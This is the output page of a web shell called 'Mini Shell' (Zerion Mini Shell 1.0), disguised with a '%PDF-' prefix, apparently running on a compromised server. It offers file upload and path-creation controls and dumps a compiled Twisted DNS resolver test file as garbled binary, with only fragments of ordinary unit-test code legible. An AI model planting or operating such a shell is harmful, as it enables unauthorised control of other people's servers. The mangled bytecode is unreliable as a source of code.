%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/twisted/names/test/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/twisted/names/test/__pycache__/test_resolve.cpython-312.pyc

�

Ϫ�fA��B�dZddlmZddlmZddlmZGd�de�Zy)z%
Tests for L{twisted.names.resolve}.
�)�DomainError)�
ResolverChain)�TestCasec� �eZdZdZdd�Zdd�Zy)�ResolverChainTestsz:
    Tests for L{twisted.names.resolve.ResolverChain}
    Nc��tg�}|jd�}|j|�}|j|j	t
�t
�y)zv
        L{ResolverChain._lookup} returns a L{DomainError} failure if
        its C{resolvers} list is empty.
        �www.example.comN)r�
lookupAddress�failureResultOf�assertIs�trapr��self�r�d�fs    �A/usr/lib/python3/dist-packages/twisted/names/test/test_resolve.py�test_emptyResolversListz*ResolverChainTests.test_emptyResolversListsD��

�"���
�O�O�-�.��� � ��#���
�
�a�f�f�[�)�;�7�c��tg�}|jd�}|j|�}|j|j	t
�t
�y)z
        L{ResolverChain.lookupAllRecords} returns a L{DomainError}
        failure if its C{resolvers} list is empty.
        r	N)r�lookupAllRecordsrrr
rrs    r�'test_emptyResolversListLookupAllRecordsz:ResolverChainTests.test_emptyResolversListLookupAllRecordssF��

�"���
���0�1��� � ��#���
�
�a�f�f�[�)�;�7r)�returnN)�__name__�
__module__�__qualname__�__doc__rr�rrrr
s���8�8rrN)r�twisted.names.errorr�twisted.names.resolver�twisted.trial.unittestrrrrr�<module>r"s!���,�/�+�8��8r

Zerion Mini Shell 1.0